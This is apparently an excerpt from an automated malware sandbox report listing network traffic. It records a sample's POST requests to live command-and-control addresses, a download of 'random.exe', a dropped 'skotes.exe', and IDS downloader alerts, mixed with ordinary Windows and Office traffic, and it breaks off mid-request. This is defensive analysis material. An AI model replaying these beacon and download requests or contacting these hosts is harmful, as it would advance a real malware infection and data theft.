Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 2d 2d 0d 0a Data Ascii: ------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBAAFIDGDAAAAAAAAKEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49830 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49957 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50134 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.74.19.45
Source: unknown	TCP traffic detected without corresponding DNS query: 20.74.19.45
Source: unknown	TCP traffic detected without corresponding DNS query: 20.74.19.45
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.10

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 35_2_006ABE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

35_2_006ABE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101413Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6b4959b1f9494f1c9ebec893425386ae&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-338388&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAf31jDG0c2jM29H1fQUID9kNa0IirVtYSg8uvuty8gB0leO9hmSfy7HkSPyPkE58dtBSJWC1UUb2dzXWMnMOTNG899tzgv1ESWQv4DjsxLk5j+AMfa9GszTin7/pvWA8xE7h03AdlUqC+GQQE/3apIItYvq6ZU3V4sfjweuCvuPSGHIn2Ncpbv24OwoTl7VhiLKgyiKWA5f/7NoRTdakr6SajARrghrtrVs1dMl9SalB39xMfbR04sD9AdoVB9rQ/I70VTiEbppF7F5x7MEAghTxv1X3kG2mAaqCxwDDzmLTMptE3HdG3n+zMUZFnEG+TQux61OuaXrOK2qVpxaNXcoQZgAAEPb8B/Z/S7huD/1u8nglPzSwAbp1v4UxFGpPoN3Y7aTYnLaRvE8G3PsBbJJ7JvK5VUxkJ5YTqfuMBGvAlY8stfdA9ahF2bICFotQeTXnsg8txRL9upQA3KjeIrWsgcLVdZzTQS4KRy8mCvFUSHrJhqoxOxso56zerwGeW8BDDc45Fen3rokgo47cHPbxK9Cqx46L/7kxVZHtYvV9BIvO3Nmj3uhBsituYG4gyQudH94YDoN7/uRox0PtFO7OZY09S+4fttZ9YgBEIpNyLtj+hS2QmQCoZvuW0JIgoNR3MI+5JfuwwOybCIvPgBHmomJe7aROvNdNF4LzAke+EB9kJkKk3eAsw3EItYsnbdbUhUIKp3c2T5cwvLlvFXmd+owcab+3hAXcxR7dN6mtXRM0R/hKXKY6oXmjYVhmWQTeKbUFtCwzUvceRUUmdRpoNoEx8z0w7odBAC4TVMVd09jygvOm0+s25ErBIn5kLISGp2hcyK6xoGIYz9rK7sd2PqBp9Ym1b+Sp5tQolD7fUR3OqQRPMEA11hMIs49i224QciC0siXyF+u1DahaXM5O+sK3tzs0AzucOMdYJnUyCB8kXNyfG9cB&p=Cache-Control: no-cacheMS-CV: 6wxuFIv5xEGgLuYt.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101413Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=04ad0dca300e4eb8870cdc23072504de&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-338387&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXEGD5wQT41Dgecj+gV/IHI/acbcSkOi6l3XO7M6oF0Y5Mz++MZj8RJ82JqatEFdgROSNt+d6o1QrBOa3zuDqyiKAdTJM5O2LTIabasniSG0ZZhuZA1C7umy2pB+nf5tyLqZ/OpXiOJMb3LSPLWRpNJCkvx7DVGytSjWPkW4q3yrC3tgJ0UIS7eS/SgEEJZJXYyf/5fFH24plv9HBM3Wzyuq01X/UUItGxJ9mhAPnSzeQG+Iwg5+5Y15V7nWAQl5MzZmds9hAtVVcV+lkXfEf70NwEGLfbmjtaTIIbVH2wHRsIJADWseGiwg/4Bhdmb4KaFKtxxJ4cIZBwq76wCvSVUQZgAAEOF1787ECf7zJj01hydYNYawAVLV5IG14T04q+fNaQPcdplKq6tQ0xVgK9yKao2GNP+18HYfJ+8NTLSNN6s6x6glo2eIdGuDNddWLZe7OsmjhogFuwJtgg82Sw1Y4Lo3xxe0ucvQNDTXg6yiWkm1CNUCAzm3tKU63j2pFbHZH45WT1vPxwuo7CApONN+bfqKXJQhs9GY+iirSAz9JEwqmRjCztkS7KEO5hY4aUIB7TioIM3Wc+cVFqHQPapiuDDB1kjUAvwOj6ilYnMdUbe5dWGidYudbUSJFV5p+1P8gX5GhtdF38ELx0wsuIXNLA7psyP38Al4RjgGdk1dS/ych/Lesg6aj1ZwILd8lTixAEMlX7GXAvxb6DUk0V+Hkdt1qyehRexnGIqGFMhVfjWI6/2tEIuLYLt5FDqwrdA/UL3sFsiQPvmZ3hKxhcRNbbnfGqba4m4t0gxzpwDdGSi1QmXURvdfaPrf2UQUxnMHozl9KB4oUrm4mzgWuDdI+2r5qdmqB417QROcxka5BPKsiybviTI1V/F6rVJ9Xf7g2kFTNYI9wCdmY8jwE+WJQeErt4BeOBrngt3U6xh5wPk7zLNetdcB&p=Cache-Control: no-cacheMS-CV: 6wxuFIv5xEGgLuYt.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101413Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3fe4a874fcd542689e51ae44beeffed6&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-280815&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUrcI4V7J+7x3Dx6p5/vW5Szm8WopEaQNehptp02OIzD0IC7D3e2+wXq6yvFa5Qq4mGQ77MqkmBq/MipuHZuA4if2KbgXvGMyPbAWGnW8Nisw+QCJc0IRf8cnbIvDaBXYshMmR0nijw3RoCP/+qAKKHAQllcL4vOrEc85xyV8KuwtkQWA5dbvtuoc36DyAG5QJt/XqhON5QlO57jUrU6y2oJg+0vYvi4e6+xNxrr/JrLOJtqAuwB+D+r5LwcAslaMovS/GFQp9HNcNU0iSK2mtM09nWAi4NiFI8p9WR8sTpHmBr8F+UExd2E0PxdDa5LSEx6UiB3hrT4jtNrIcadq5oQZgAAEKkSpT9aWgfhvqnF1BWQ9VWwAeQK9f5+3AMy/FZblC2U7SFNGB0+zFfJaOGUEYsa685onfY84z/26ZhruwPzBXuEuEb9IoQYBUEgfcwDEnXaORKjUeqlFyvdu/CLbdNsKtr+Kdx/zbJ8Zr57djpvQLwByu1lisJgo8F1Bz3jdyjX6UvhxIrnU4VpclIkjxUvKmXUfEzaW2RuRKZrNI4FG4+d321m2ljvBh4DeHvxAfRNbE0eUpJ9QYH9weckXF5qJdcwR7qMv37njMTTZXtaMy555de3G79VBSyFnza5Bti5YUWX1mQa39LCzxJQ+s8H5EK3eR++G0wbzgtC26AzlGsM7ItfRDf8KDaDgOmr2jaQbqtYuM0ut4JJI3vAaOQk0Xnky/+S86IY8XcRuesZER1VNGVAa6C6KgGqOiwOJSmSFiU/Mgh9EK24yg0NQ3NbA+iFYzo0pv0Jf2kWas4y4sAsMFoaCWtpqS0mhR4wyEobuT1If4unxXZyfLFQhybF95RHUsfFA9snqdDz5XauMnYhDZkp9zwKyH1UQYASlg/0WnQsz14cTjG5vsDCF0GqIcjB+3ES4DlaDFJHMkXMBUqq99cB&p=Cache-Control: no-cacheMS-CV: 6wxuFIv5xEGgLuYt.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101423Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8352b2a617a44a97a874102ff95ce703&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-88000045&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: 